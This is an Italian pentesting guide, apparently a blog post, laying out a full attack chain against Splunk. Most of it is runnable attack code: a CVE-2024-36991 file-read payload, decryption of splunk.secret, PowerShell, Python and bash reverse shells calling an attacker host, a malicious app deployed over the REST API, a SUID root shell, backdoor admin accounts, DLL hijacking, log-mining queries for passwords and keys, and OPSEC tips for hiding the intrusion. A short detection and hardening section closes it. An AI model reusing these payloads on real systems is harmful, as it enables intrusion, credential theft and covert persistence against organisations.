Splunk Pentesting: CVE-2024-36991, RCE e SYSTEM su 8089

Guida completa al pentesting di Splunk: sfrutta CVE-2024-36991, recupera credenziali tramite splunk.secret, ottieni RCE via app malevola e scala a SYSTEM o root.
- Pubblicato il 2026-06-11
- Tempo di lettura: 7 min
Splunk è una delle piattaforme SIEM più diffuse in ambienti enterprise e la sua REST API di management sulla porta 8089 la rende un target particolarmente appetibile. Centralizza, indicizza e correla log provenienti da tutta l’infrastruttura, offrendo accesso a credenziali, eventi di autenticazione, topologia di rete e altri dati sensibili. Se compromessa, può portare rapidamente fino all’esecuzione di codice con privilegi SYSTEM o root. In questa guida vedrai l’intero flusso di pentesting su Splunk: ricognizione, estrazione di credenziali cifrate, sfruttamento di vulnerabilità note e privilege escalation.
Architettura e Porte #
Splunk si compone di tre elementi principali: il Forwarder (raccoglie log dagli endpoint), l’Indexer (archivia e indicizza i dati) e lo Search Head (query e interfaccia web). La comunicazione tra questi componenti passa attraverso porte specifiche:
| Porta | Servizio | Target offensivo |
|---|---|---|
| 8000 | Splunk Web UI (HTTP/HTTPS) | Accesso interfaccia, upload app |
| 8089 | Splunkd Management (REST API) | Target primario |
| 9997 | Splunk Forwarder | Ricezione log |
| 8191 | Key-Value Store | Opzionale |
La porta 8089 è quella che interessa al pentester. Espone una REST API completa per gestione utenti, installazione app ed esecuzione ricerche. Con credenziali valide diventa un vettore diretto di Remote Code Execution.
Ricognizione ed Enumerazione #
Port scanning #
nmap -p 8000,8089,9997 -sV -sC <target>
nmap -p 8000,8089,9997 -sV --script=http-title,ssl-cert <target>Output tipico:
8000/tcp open http Splunk httpd
8089/tcp open ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert
9997/tcp open splunkd Splunk forwarderIl certificato SplunkServerDefaultCert è un indicatore immediato di istanza non configurata correttamente.
Fingerprinting #
# Versione e info server
curl -sk https://<target>:8089/services/server/info
# Banner grab versione
curl -sk https://<target>:8089/services/server/info | grep version
# Verifica accesso non autenticato (Splunk Free)
curl -sk https://<target>:8089/services/apps/localSe l’endpoint risponde senza credenziali, l’istanza gira in modalità Free — nessuna autenticazione richiesta, accesso diretto a tutti gli endpoint REST.
Analisi certificato SSL #
# Dettagli certificato
openssl s_client -connect <target>:8089 < /dev/null 2>/dev/null \
| openssl x509 -noout -text
# Estrai common name
echo | openssl s_client -connect <target>:8089 2>/dev/null \
| openssl x509 -noout -subject
# Con nmap
nmap -p 8089 --script ssl-cert <target>Shodan #
port:8089 splunk
ssl:"SplunkServerDefaultCert"
http.title:"Splunk"
product:SplunkCirca 230.000 istanze Splunk risultano esposte pubblicamente — molte su versioni vulnerabili.
Splunk Free — Accesso non autenticato #
# Se risponde senza creds → Splunk Free
curl -sk https://<target>:8089/services/server/info
# Lista app
curl -sk https://<target>:8089/services/apps/local
# Esegui ricerca
SEARCH_ID=$(curl -sk https://<target>:8089/services/search/jobs \
-u admin: \
-d search="search index=* | head 1000" | grep -oP 'sid>\K[^<]+')
sleep 5
curl -sk https://<target>:8089/services/search/jobs/$SEARCH_ID/resultsCVE-2024-36991 — Path Traversal su Splunk Web (Windows) #
Questa vulnerabilità (CVSS 7.5) colpisce Splunk Enterprise su Windows nelle versioni precedenti a 9.2.2, 9.1.5 e 9.0.10. Permette lettura arbitraria di file senza autenticazione.
Causa tecnica: os.path.join in Python rimuove il drive letter da un token di path se coincide con quello corrente.
Requisiti: accesso alla porta 8000, Splunk Web abilitato.
# Verifica
curl -s "http://<target>:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../Windows/win.ini"
# PoC automatizzato
git clone https://github.com/th3gokul/CVE-2024-36991
python3 cvehunter.py -u http://<target>:8000File utili da leggere:
# Chiave crittografica master
http://<target>:8000/en-US/modules/messaging/C:%5CC:%5CProgram%20Files%5CSplunk%5Cetc%5Cauth%5Csplunk.secret
# Hash utenti Splunk
http://<target>:8000/en-US/modules/messaging/C:%5CC:%5CProgram%20Files%5CSplunk%5Cetc%5Cpasswd
# Credenziali LDAP cifrate
http://<target>:8000/en-US/modules/messaging/C:%5CC:%5CProgram%20Files%5CSplunk%5Cetc%5Csystem%5Clocal%5Cauthentication.confPer una guida completa all’exploitation di Splunk in ambienti reali: HTB Haze Walkthrough — Splunk, GMSA Abuse e Privilege Escalation a SYSTEM.
Estrazione e Decryption delle Credenziali #
Due meccanismi distinti #
1. Hash SHA-512 — file etc/passwd per utenti locali:
admin:$6$8FRibWS3...<hash>...:Administrator:admin:admin@example.com::Crack con hashcat -m 1800 — password robuste non cedono a rockyou.
2. Cifratura proprietaria — password nei file .conf (authentication.conf, inputs.conf, outputs.conf). Cifrate con splunk.secret.
splunk.secret — la chiave master #
# Linux
/opt/splunk/etc/auth/splunk.secret
# Windows
C:\Program Files\Splunk\etc\auth\splunk.secretpip3 install splunksecrets
splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$XXXXXXXX...'Dove cercare le password cifrate #
find . -name "*.conf" | xargs grep -l "password\|bindDNpassword\|\$7\$" 2>/dev/null
# File tipici
# etc/system/local/authentication.conf → bind LDAP password
# etc/apps/*/local/inputs.conf → DB connections, API keys
# etc/apps/*/local/outputs.conf → forwarding credentialsauthentication.conf in local/ contiene spesso la password del bind LDAP — cifrata con splunk.secret e completamente decriptabile.
Credenziali di Default e Brute Force #
curl -sk -u admin:changeme https://<target>:8089/services/server/info
curl -sk -u admin:admin https://<target>:8089/services/server/info
curl -sk -u admin:splunk https://<target>:8089/services/server/info# Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
-s 8089 <target> https-get /services/server/info
# Metasploit
use auxiliary/scanner/http/splunk_login
set RHOSTS <target>
set RPORT 8089
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
runRemote Code Execution via Malicious App #
Splunk esegue automaticamente gli script contenuti nelle app installate — Python, PowerShell, Bash, Batch. Con credenziali admin si ottiene una shell nel contesto del servizio.
Struttura app malevola #
reverse_shell_splunk/
├── bin/
│ └── run.ps1
└── default/
├── app.conf
└── inputs.confapp.conf #
[install]
is_configured = true
[ui]
is_visible = false
label = System Monitor
[launcher]
author = System
description = System monitoring application
version = 1.0inputs.conf #
[script://$SPLUNK_HOME/etc/apps/reverse_shell_splunk/bin/run.ps1]
disabled = 0
interval = 10
sourcetype = shell
index = mainrun.ps1 (Windows) #
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.X', 4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()rev.py (Linux) #
#!/usr/bin/env python3
import sys, socket, os, pty
ip = "10.10.14.X"
port = 4444
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')Deploy #
tar -czf reverse_shell.tar.gz reverse_shell_splunk/
nc -lvnp 4444
# Via REST API
curl -sk -u admin:PASSWORD \
https://<target>:8089/services/apps/local \
-F "name=reverse_shell_splunk" \
-F "appfile=@reverse_shell.tar.gz" \
-F "update=true"
# Via Web UI: Apps → Manage Apps → Install app from fileAltri metodi RCE #
SPL injection (se app custom configurate):
index=main | eval cmd="whoami" | outputlookup cmd_output.csv
| script python script_name.pySplunkWhisperer2 — automatizzato con pulizia:
git clone https://github.com/cnotin/SplunkWhisperer2.git
cd SplunkWhisperer2 && pip3 install requests
python3 PySplunkWhisperer2_remote.py \
--host <target> --lhost <attacker> --lport 4444 \
--username admin --password PASSWORDMetasploit:
use exploit/multi/http/splunk_upload_app_exec
set RHOSTS <target>
set RPORT 8089
set USERNAME admin
set PASSWORD PASSWORD
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker>
exploitPrivilege Escalation #
Linux — Splunk gira come root #
Su Linux Splunk gira di default come root — shell via app = root diretto.
Metodo 1 — SUID binary via app:
mkdir -p /opt/splunk/etc/apps/privesc/bin
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
setuid(0); setgid(0);
system("/bin/bash -p");
return 0;
}
EOF
gcc /tmp/shell.c -o /tmp/suid_shell
cat > /opt/splunk/etc/apps/privesc/default/inputs.conf << 'EOF'
[script://$SPLUNK_HOME/etc/apps/privesc/bin/setup.sh]
disabled = 0
interval = 10
sourcetype = setup
EOF
cat > /opt/splunk/etc/apps/privesc/bin/setup.sh << 'EOF'
#!/bin/bash
cp /tmp/suid_shell /tmp/root_shell
chmod 4755 /tmp/root_shell
EOF
chmod +x /opt/splunk/etc/apps/privesc/bin/setup.sh
/opt/splunk/bin/splunk restart
/tmp/root_shellMetodo 2 — Splunk Universal Forwarder:
# Se il forwarder gira come root e puoi scrivere in deployment-apps
mkdir -p /opt/splunkforwarder/etc/deployment-apps/privesc/bin
mkdir -p /opt/splunkforwarder/etc/deployment-apps/privesc/default
cat > /opt/splunkforwarder/etc/deployment-apps/privesc/bin/shell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.X/4444 0>&1
EOF
chmod +x /opt/splunkforwarder/etc/deployment-apps/privesc/bin/shell.sh
cat > /opt/splunkforwarder/etc/deployment-apps/privesc/default/inputs.conf << 'EOF'
[script://./bin/shell.sh]
disabled = 0
interval = 10
sourcetype = shell
EOF
/opt/splunkforwarder/bin/splunk reload deploy-serverMetodo 3 — Cron job:
ls -la /etc/cron.d/ | grep splunk
echo '* * * * * root /tmp/backdoor.sh' > /etc/cron.d/splunk_privesc
cat > /tmp/backdoor.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.X/5555 0>&1
EOF
chmod +x /tmp/backdoor.shWindows — Splunk gira come SYSTEM #
Metodo 1 — Service manipulation:
sc config Splunkd binPath= "cmd.exe /c net user hackita Password123! /add"
sc stop Splunkd && sc start Splunkd
net localgroup administrators hackita /addMetodo 2 — DLL Hijacking:
# Trova directory scrivibili nel PATH di Splunk
Get-ChildItem "C:\Program Files\Splunk" -Recurse |
Where-Object {$_.PSIsContainer} | ForEach-Object {$_.FullName}
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f dll -o splunk.dll
Copy-Item splunk.dll "C:\Program Files\Splunk\bin\"
Restart-Service SplunkdIn un ambiente Active Directory, avere SYSTEM su un host joinato apre scenari avanzati come DPAPI domain backup key dump — tecnica approfondita nella guida su DPAPI exploitation. Le credenziali estratte con Mimikatz possono poi essere usate per movimento laterale.
Data Exfiltration #
# Crea job di ricerca
SEARCH_JOB=$(curl -sk -u admin:PASSWORD \
https://<target>:8089/services/search/jobs \
-d search='search index=* password | head 1000' \
-d output_mode=json | jq -r '.sid')
# Esporta in CSV/JSON/XML
curl -sk -u admin:PASSWORD \
"https://<target>:8089/services/search/jobs/$SEARCH_JOB/results?output_mode=csv" > dump.csvQuery SPL utili:
index=* password OR pass OR pwd | table _time, host, source, _raw
index=* "BEGIN RSA PRIVATE KEY" OR "BEGIN OPENSSH PRIVATE KEY" | table _time, source, _raw
index=* (aws_access_key_id OR aws_secret_access_key) | table _time, _raw
index=* sourcetype=WinEventLog EventCode=4624 | table _time, host, user, src_ip
index=* sourcetype=netstat | table _time, host, src_ip, dest_ip, dest_portLateral movement via log:
# Credenziali nei log
index=* password | table host, source, password
# Trova altre istanze Splunk
index=* sourcetype=splunkd | stats count by host
# Sistemi ad alto valore
index=* (database OR sql OR oracle OR dc OR domain) | stats values(host)Post-Exploitation #
Estrazione credenziali #
# Da passwd (hash SHA-512)
cat /opt/splunk/etc/passwd
grep -v "^#" /opt/splunk/etc/passwd | cut -d: -f2 > hashes.txt
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt
# Da app configurations
grep -r "password" /opt/splunk/etc/apps/*/local/*.conf
grep -r "bindDNpassword" /opt/splunk/etc/apps/*/local/*.conf
# inputs.conf → DB e API key
# outputs.conf → forwarding credentials
# authentication.conf → LDAP passwordsPersistenza #
Backdoor user via API #
curl -sk -u admin:PASSWORD \
https://<target>:8089/services/authentication/users \
-d name=hackita \
-d password='H@ckita2k24!' \
-d roles=admin
# Verifica
curl -sk -u hackita:'H@ckita2k24!' https://<target>:8089/services/server/infoApp beacon persistente #
cat > malicious_app/bin/beacon.sh << 'EOF'
#!/bin/bash
while true; do
bash -i >& /dev/tcp/10.10.14.X/4444 0>&1 2>/dev/null
sleep 3600
done
EOF[script://$SPLUNK_HOME/etc/apps/malicious_app/bin/beacon.sh]
disabled = 0
interval = 3600
sourcetype = beaconScheduled search malevola #
curl -sk -u admin:PASSWORD \
https://<target>:8089/services/saved/searches \
-d name=SystemHealthCheck \
-d search='| script python /tmp/beacon.py' \
-d cron_schedule='*/30 * * * *'MITRE ATT&CK Mapping #
| Tecnica | ID | Descrizione |
|---|---|---|
| Exploit Public-Facing Application | T1190 | CVE-2024-36991 senza auth |
| Valid Accounts | T1078 | Credenziali estratte/default |
| PowerShell | T1059.001 | Shell via scripted inputs PS1 |
| Python | T1059.006 | Shell via scripted inputs Python |
| Deploy Tool via Third-Party | T1072 | App malevola via REST API |
| OS Credential Dumping | T1003 | splunk.secret + passwd |
| Data from Information Repositories | T1213 | Esfiltrazione log via SPL |
| Create Account | T1136 | Backdoor user via API |
| Scheduled Task/Job | T1053 | Scheduled search persistente |
OPSEC Notes #
Il deploy di un’app lascia tracce in _internal e _audit. Contromisure:
- Nomi app legittimi:
system_monitor,health_check,ta_windows_updates is_visible = falseinapp.conf- Cancella l’app dopo la shell:
curl -sk -u admin:PASS -X DELETE https://<target>:8089/services/apps/local/<nome> - Intervallo minimo 10s — non abbassarlo
- SplunkWhisperer2 gestisce la pulizia automaticamente
- Usa sempre HTTPS su 8089, non HTTP su 8000
Detection — Blue Team #
| Indicatore | Query SPL |
|---|---|
| Installazione app | index=_internal source=*splunkd.log* "Installing app" |
| Script execution | index=_internal component=ExecProcessor |
| Login sospetto | index=_audit action=login status=success |
| Nuovo utente | index=_audit action=edit object=authentication/users |
| Modifica ruoli | index=_audit action=edit object=authorization/roles |
| CVE-2024-36991 | index=_internal source=*splunkd_access.log* uri="*/modules/messaging/*" |
Hardening #
# Bind solo localhost
# web.conf
[settings]
server.socket_host = 127.0.0.1
enableSplunkWebSSL = true
# server.conf
[sslConfig]
sslVerifyServerCert = true
requireClientCert = true
# Firewall
ufw deny 8000/tcp
ufw deny 8089/tcp
ufw allow from 192.168.1.0/24 to any port 8089Cheat Sheet #
# VERSIONE
curl -sk https://<target>:8089/services/server/info | grep version
# CREDENZIALI DEFAULT
admin:changeme / admin:admin / admin:splunk
# BRUTE FORCE
hydra -l admin -P rockyou.txt -s 8089 <target> https-get /services/server/info
# LFI (CVE-2024-36991)
curl -s "http://<target>:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret"
# DECRYPT
splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$...'
# LIST USERS
curl -sk -u admin:PASS https://<target>:8089/services/authentication/users?output_mode=json
# LIST APPS
curl -sk -u admin:PASS https://<target>:8089/services/apps/local?output_mode=json
# RCE
tar -czf shell.tar.gz reverse_shell_splunk/
curl -sk -u admin:PASS https://<target>:8089/services/apps/local \
-F "name=reverse_shell_splunk" -F "appfile=@shell.tar.gz" -F "update=true"
# CREA UTENTE
curl -sk -u admin:PASS https://<target>:8089/services/authentication/users \
-d name=hackita -d password='H@ckita2k24!' -d roles=admin
# METASPLOIT
use exploit/multi/http/splunk_upload_app_execFile importanti:
# Linux
/opt/splunk/etc/passwd
/opt/splunk/etc/auth/splunk.secret
/opt/splunk/etc/system/local/authentication.conf
/opt/splunk/etc/apps/*/local/inputs.conf
# Windows
C:\Program Files\Splunk\etc\passwd
C:\Program Files\Splunk\etc\auth\splunk.secret
C:\Program Files\Splunk\etc\system\local\authentication.confFAQ #
Cos’è la porta 8089 di Splunk? È la management port di Splunkd — espone la REST API completa per gestione utenti, installazione app e autenticazione. È il target primario durante un penetration test su ambienti con Splunk.
Come si ottiene RCE su Splunk?
Con credenziali admin si installa un’app malevola contenente uno script PowerShell o Python configurato in inputs.conf come scripted input. Splunk lo esegue automaticamente ogni 10 secondi.
CVE-2024-36991 è ancora sfruttabile?
Sì, su versioni precedenti a 9.2.2, 9.1.5 e 9.0.10 su Windows con Splunk Web abilitato. Permette lettura arbitraria di file senza autenticazione — inclusi splunk.secret e authentication.conf.
Cosa contiene splunk.secret?
La chiave AES master usata da Splunk per cifrare tutte le password nei file di configurazione. Con questo file si decriptano credenziali LDAP, DB e API key memorizzate in qualsiasi .conf.
Splunk RCE dà sempre SYSTEM?
Su Windows sì — il servizio Splunkd gira come SYSTEM per default. Su Linux gira come root. La shell ottenuta via app deployment eredita direttamente quel contesto.
Splunk in Azione — Caso Reale #
Tutte le tecniche descritte in questa guida sono state applicate su HTB Haze, una macchina Hard Windows con Splunk Enterprise installato su un Domain Controller. Il walkthrough completo: HTB Haze Walkthrough — Splunk, GMSA Abuse e Privilege Escalation a SYSTEM.
Risorse #
- VeryLazyTech — Splunkd Port 8089: https://www.verylazytech.com/splunkd-port-8089
- SplunkWhisperer2: https://github.com/cnotin/SplunkWhisperer2
- CVE-2024-36991 PoC: https://github.com/th3gokul/CVE-2024-36991
- Splunk Advisory SVD-2024-0711: https://advisory.splunk.com/advisories/SVD-2024-0711.html
Guida a scopo educativo per penetration testing autorizzato.








